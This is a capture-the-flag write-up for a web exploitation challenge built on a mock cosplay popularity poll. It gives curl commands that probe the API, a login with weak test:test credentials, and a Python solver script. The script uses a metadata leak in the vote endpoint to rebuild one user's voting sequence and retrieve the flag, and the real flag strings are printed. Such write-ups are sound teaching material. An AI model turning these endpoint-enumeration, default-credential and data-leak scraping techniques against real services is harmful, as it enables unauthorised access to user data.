Category: Web Exploitation
Flag: apoorvctf{gr4Ph_l34k5_r3v34l_v1cT0r5_l45t_v0t35_7f2a9}
Challenge Description
At ComicCon, you stumbled upon a shady popularity poll. Lot of players voted for who was the best cosplayer and a leaderboard was displayed. However, your an undercover agent after Target V, who is voting for other targets. You don’t know what his name is in the poll, however, you know that he and the other targets need to be found.
Analysis
The app immediately looked like a FastAPI backend with a JavaScript frontend, so the first thing I did was inspect the client code and OpenAPI surface to map every endpoint without guessing. The front-end confirmed auth + voting flow (/login, /my_votes, /vote_for) and the OpenAPI spec exposed some intentionally suspicious endpoints like /flag, /admin, and /hidden_flag.
curl -s http://chals2.apoorvctf.xyz:80/openapi.json...paths include /login, /leaderboard, /random_user, /vote_for, /my_votes, /flag, /admin, /hidden_flag...Probing the obvious flag-looking routes gave fake or gating values, not the real flag. /admin and /hidden_flag returned a Rickroll-style decoy, and /flag returned a “not enough votes, need 5” message. That was the first troll moment.

curl -s http://chals2.apoorvctf.xyz:80/admin{"flag":"apoorvctf{n3v3r_g0nn4_g1v3_y0u_up_dQw4w9}","note":"nothing sensitive to see here"}curl -s http://chals2.apoorvctf.xyz:80/hidden_flag{"flag":"apoorvctf{n3v3r_g0nn4_g1v3_y0u_up_dQw4w9}"}curl -s "http://chals2.apoorvctf.xyz:80/flag"{"flag":"apoorvctf{n07_3n0ugh_v0735_n33d_5_44ab}"}The HTML source had a loud hint about user test having a weak password, and test:test worked. Registration was closed, so this demo account was clearly the intended foothold.
curl -s -X POST http://chals2.apoorvctf.xyz:80/login -H 'Content-Type: application/json' -d '{"username":"test","password":"test"}'{"access_token":"<JWT_TOKEN>","token_type":"bearer"}With a valid bearer token, the key bug appeared in /vote_for: when voting for a target already voted, the API still returned leaked metadata in recent_voters (voter, target, timestamp). That turned this into a graph reconstruction problem rather than brute force.
curl -s -X POST http://chals2.apoorvctf.xyz:80/vote_for -H "Authorization: Bearer <JWT_TOKEN>" -H 'Content-Type: application/json' -d '{"target":"alice"}'{"message":"already voted","target":"alice","voter_count":16,"recent_voters":[{"voter":"alice","target":"alice","timestamp":"2026-03-07T19:10:20.595027Z"}, ...]}At that point, the challenge description clicked: “Target V” almost certainly meant a user whose name starts with V, and the leak gave timestamped voting edges. I wrote a solver script that used test’s token to pull /my_votes, re-hit each voted target through /vote_for to collect recent_voters, reconstructed per-voter target timelines, and tested candidate 5-item sequences against /flag?votes=... while filtering known gate/decoy outputs.
python /home/rei/Downloads/cosplayer_sequence_solver.py[*] targets from my_votes: 103
...
[020] slice:victor:earliest5 -> apoorvctf{r473_l1m17_h17_5l0w_d0wn_b01_3c9a}
[021] slice:victor:latest5 -> apoorvctf{gr4Ph_l34k5_r3v34l_v1cT0r5_l45t_v0t35_7f2a9}
[+] REAL FLAG: apoorvctf{gr4Ph_l34k5_r3v34l_v1cT0r5_l45t_v0t35_7f2a9}
[+] SEQ (slice:victor:latest5): ['emilysys', 'devon.', 'judy', 'dave', 'alice']Once the sequence was derived from leaked graph data instead of random guessing, it popped immediately.

Solution
# cosplayer_sequence_solver.py
import re
import time
from collections import defaultdict
from datetime import datetime
import requests
BASE = "http://chals2.apoorvctf.xyz:80"
TOKEN = "<JWT_TOKEN_FROM_test:test_LOGIN>"
THRESHOLD = "apoorvctf{n07_3n0ugh_v0735_n33d_5_44ab}"
TOO_MANY = "apoorvctf{70o_m4ny_v0735_5ubm1773d_91c2}"
WRONG_SEQ = "apoorvctf{wr0ng_v073_53qu3nc3_1b7d}"
RATE_LIMIT = "apoorvctf{r473_l1m17_h17_5l0w_d0wn_b01_3c9a}"
DECOY = "apoorvctf{n3v3r_g0nn4_g1v3_y0u_up_dQw4w9}"
KNOWN_BAD = {THRESHOLD, TOO_MANY, WRONG_SEQ, RATE_LIMIT, DECOY}
FLAG_RE = re.compile(r"[A-Za-z0-9_]+\{[^}]+\}")
def ptime(ts: str) -> datetime:
if ts.endswith("Z"):
ts = ts[:-1] + "+00:00"
return datetime.fromisoformat(ts)
def extract_flag(text: str):
m = FLAG_RE.search(text)
return m.group(0) if m else None
def call_flag(sess: requests.Session, seq):
params = [("votes", x) for x in seq]
r = sess.get(f"{BASE}/flag", params=params, timeout=20)
f = extract_flag(r.text)
if f == RATE_LIMIT:
time.sleep(1.2)
r = sess.get(f"{BASE}/flag", params=params, timeout=20)
f = extract_flag(r.text)
return f
s = requests.Session()
s.headers.update({"Authorization": f"Bearer {TOKEN}"})
targets = sorted({x["target"] for x in s.get(f"{BASE}/my_votes", timeout=20).json()})
voter_events = defaultdict(list)
for target in targets:
data = s.post(f"{BASE}/vote_for", json={"target": target}, timeout=20).json()
for row in data.get("recent_voters", []):
voter = row.get("voter")
vt = row.get("target")
ts = row.get("timestamp")
if voter and vt and ts:
voter_events[voter].append((ts, vt))
victor_map = {}
for ts, vt in voter_events["victor"]:
dt = ptime(ts)
if vt not in victor_map or dt > victor_map[vt]:
victor_map[vt] = dt
ordered = [t for t, _ in sorted(victor_map.items(), key=lambda kv: kv[1])]
seq = ordered[-5:] # ['emilysys', 'devon.', 'judy', 'dave', 'alice']
flag = call_flag(s, seq)
if flag and flag not in KNOWN_BAD:
print(flag)python cosplayer_sequence_solver.pyapoorvctf{gr4Ph_l34k5_r3v34l_v1cT0r5_l45t_v0t35_7f2a9}